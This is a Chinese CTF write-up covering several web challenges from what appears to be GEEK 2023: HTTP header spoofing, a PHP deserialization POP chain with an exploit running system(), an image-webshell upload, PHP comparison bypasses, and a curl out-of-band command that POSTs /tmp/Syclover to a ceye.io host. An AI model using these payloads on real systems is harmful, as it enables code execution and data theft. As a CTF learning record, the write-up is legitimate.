前言
最后一天才想起来这个没打(
Web
EzHttp
http
进入题目,
请post传参username和password进行登录
f12发现hint:密码有点记不住,所以我把密码记在了不想让爬虫获取的地方!
这个地方指的就是robots.txt
访问robots.txt,得到/o2takuXX’s_username_and_password.txt
访问这个路由,得到账户密码
username:admin
password:@dm1N123456r00t#
于是回去post传参登录,接下来是喜闻乐见的请求头环节
必须来源自sycsec.com
请使用Syclover浏览器
请从localhost访问
请使用Syc.vip代理
得到源码
<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}
?>
要我们的$_SERVER['HTTP_O2TAKUXX']
值等于GiveMeFlag
我们可以本地先看看$_SERVER里面都有啥
<?php
print_r($_SERVER);
可以发现请求头的参数都会在$_SERVER里面加上HTTP_
的开头
那么答案很明显了
于是得到flag:SYC{HttP_1s_E@sY}
unsign
pop链
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
链子很简单:syc::__destruct -> lover::__invoke -> web::__get
exp:
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $QW;
}
class web
{
public $eva1="system";
public $interesting="ls /";
}
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
echo serialize($a);
flag在/flag
n00b_Upload
文件上传
扎古,扎古❤,我超,柚子厨ciallo~(∠・ω< )⌒★
随便上传个马上去,发现会检测后缀、头部和内容
于是我们抓包,注意这里是https,自己设置好代理https
传个图片马上去,可以用短标签绕过内容检测
上传成功,蚁验丁真,根据存储路径访问我们的珍珠小马
成功getshell,flag在/flag
easy_php
php特性
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
第一步,%0a换行绕过
第二步,科学计数法绕过
第三步,sha1强比较
第四步,非法传参
ctf_curl
curl带外
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover
if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>
有> /dev/null
在,同时ban了;
、|
,那么不用考虑命令注入了
不过hint告诉我们了flag在/tmp/Syclover,所以只要利用curl带外即可
?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"
但是我上不去ceye.io,bp的服务器地址又有f这个字母,其它dnslog平台又用不了了,寄
flag保卫战(未完成)
f12在js中找到账密
// 访客密码 password 123456
// /flag?pass=123456
$(document).ready(function() {
$('#loginForm').on('submit', function(e) {
e.preventDefault();
const username = $('#username').val();
const password = $('#password').val();
$.ajax({
url: '/login', // your login API endpoint
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({
'username': username,
'password': password
}),
success: function(data, textStatus, xhr) {
if (xhr.status === 200) {
// handle successful login here
window.location.href = "/upload";
}
},
error: function(xhr, textStatus, error) {
if (xhr.status === 401) {
document.getElementById("error-message").textContent = "用户名或密码错误";
}
}
});
});
});
然后没空做了